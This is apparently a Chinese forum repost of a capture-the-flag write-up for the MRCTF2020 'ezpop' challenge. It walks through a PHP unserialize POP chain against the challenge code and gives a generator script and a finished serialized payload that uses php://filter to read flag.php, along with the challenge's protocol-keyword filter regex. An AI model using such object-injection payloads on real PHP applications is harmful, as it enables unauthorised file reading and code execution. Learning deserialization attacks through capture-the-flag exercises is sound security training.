IT评测·应用市场-qidao123.com技术社区

标题: [MRCTF2020]ezpop wp [打印本页]

作者: 大连全瓷种植牙齿制作中心    时间: 2025-4-14 07:05
标题: [MRCTF2020]ezpop wp
本题考点:php反序列化的pop链
    首先来了解一下pop链是什么,它类似于多米诺骨牌一环套一环,要调用这个成员方法然后去找能调用这个方法的魔术方法,最后一环接一环,完成一个链子,终极形成payload。
    那么来了解一下这些魔术方法
   
  1. __construct()            //类的构造函数,创建对象时触发(new 对象())
  2. __destruct()             //类的析构函数,对象被销毁时触发(调用完后就会触发)(反序列化调用对象时也会触发)
  3. __call()                 //在对象上下文中调用不可访问的方法时触发
  4. __callStatic()           //在静态上下文中调用不可访问的方法时触发
  5. __get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
  6. __set()                  //在给不可访问属性赋值时触发
  7. __isset()                //当对不可访问属性调用 isset() 或 empty() 时触发
  8. __unset()                //在不可访问的属性上使用unset()时触发
  9. __invoke()               //当尝试以调用函数的方式调用一个对象时触发(当对象以class名()输出时会触发)
  10. __sleep()                //执行serialize()时,先会调用这个方法
  11. __wakeup()               //执行unserialize()时,先会调用这个方法
  12. __toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用(用echo输出对象的时候会触发)(php中echo 只能输出字符串,而print_r()可以输出对象,数组等)
复制代码
   好那么看题
   
  1. Welcome to index.php
  2. <?php
  3. //flag is in flag.php
  4. //WTF IS THIS?
  5. //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
  6. //And Crack It!
  7. class Modifier {
  8.     protected  $var;
  9.     public function append($value){
  10.         include($value);
  11.     }
  12.     public function __invoke(){
  13.         $this->append($this->var);
  14.     }
  15. }
  16. class Show{
  17.     public $source;
  18.     public $str;
  19.     public function __construct($file='index.php'){
  20.         $this->source = $file;
  21.         echo 'Welcome to '.$this->source."<br>";
  22.     }
  23.     public function __toString(){
  24.         return $this->str->source;
  25.     }
  26.     public function __wakeup(){
  27.         if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  28.             echo "hacker";
  29.             $this->source = "index.php";
  30.         }
  31.     }
  32. }
  33. class Test{
  34.     public $p;
  35.     public function __construct(){
  36.         $this->p = array();
  37.     }
  38.     public function __get($key){
  39.         $function = $this->p;
  40.         return $function();
  41.     }
  42. }
  43. if(isset($_GET['pop'])){
  44.     @unserialize($_GET['pop']);
  45. }
  46. else{
  47.     $a=new Show;
  48.     highlight_file(__FILE__);
  49. }
复制代码
   首先看有危害的地方,如:eval,assert,system,include等危险函数,本题有危害的地方是
     public function append($value){
            include($value);
        }
    这里界说了一个参数可以包罗文件,而本题开头也有提示,flag在flag.php里面。
    那么接下来找哪里调用了这个方法
        public function __invoke(){
            $this->append($this->var);
        }
    可以看到invoke()这个魔术方法调用了append方法,那么怎样触发(当对象被当作函数触发时)也就是类名加上(),
    找下一环怎么才气让对象被当作函数触发
    class Test{
        public $p;
        public function __construct(){
            $this->p = array();
        }
        public function __get($key){
            $function = $this->p;
            return $function();
        }
    }
    这里最后如果把p传入一个append的对象Modifier,那么最后会返回Modifier(), __construct()(这个方法创建对象大概实例化对象就触发不用理它),那么偏重看__get(),这个要调用一个不存在的成员变量来触发,那么下一步就是去找怎样才气调用不存在的成员变量
     public function __toString(){
            return $this->str->source;
        }
    这里的意思是如果触发__toString(),那么返回str里的source属性,先不用管它为什么同为属性,str就能调用source,这里把它当成了一个对象,那么如果给str赋一个没有source的对象,这不就有不存在的成员变量了嘛,那么可以给str赋值为Test来触发__get方法。这个__toString()的触发方式是把对象当成字符串:
    __toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)主动调用(用echo输出对象的时候会触发)(php中echo 只能输出字符串,而print_r()可以输出对象,数组等)
    来找一个有echo且能赋值的地方
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."<br>";
        }
    这里就能赋值的同时用echo输出,那么给source赋值一个对象就行了,其他两个类都用了,这次就只能用它本身的类Show了,这里是__construct()方法就不用想办法让它触发了,那么一个pop链就完成了,这里我用的是倒推法
    __construct-> __toString()->__get()->__invoke()-> append($value)(触发文件包罗)
    那么就把这些序列化吧,
   
  1. <?php
  2. class Modifier {
  3.     protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
  4. }
  5. class Show{
  6.     public $source;
  7.     public $str;
  8.     }
  9. class Test{
  10.     public $p;
  11.     public function __get($key){
  12.         $function = $this->p;
  13.         return $function();
  14.     }
  15. }
  16. $a = new Modifier();
  17. $b = new Show();
  18. $c = new Test();
  19. $b->str=$c;
  20. $b->source=$b;
  21. $c->p=$a;
  22. echo serialize($b);
  23. ?>
复制代码
   这里用php://filter的缘故原由是,只用flag.php是读取不到的。

    对了,protected方法有特殊字符占位所以要在变量前输入%00*%00,简朴点的方法就是在echo后面加一个urlencode()
   

    最后输出$b也就是show对象的缘故原由是它底下的两个变量都成了另外两个类了,直接输它省事。
    Payload:O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}
   

   
   

    最后得出flag

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 IT评测·应用市场-qidao123.com技术社区 (https://dis.qidao123.com/) Powered by Discuz! X3.4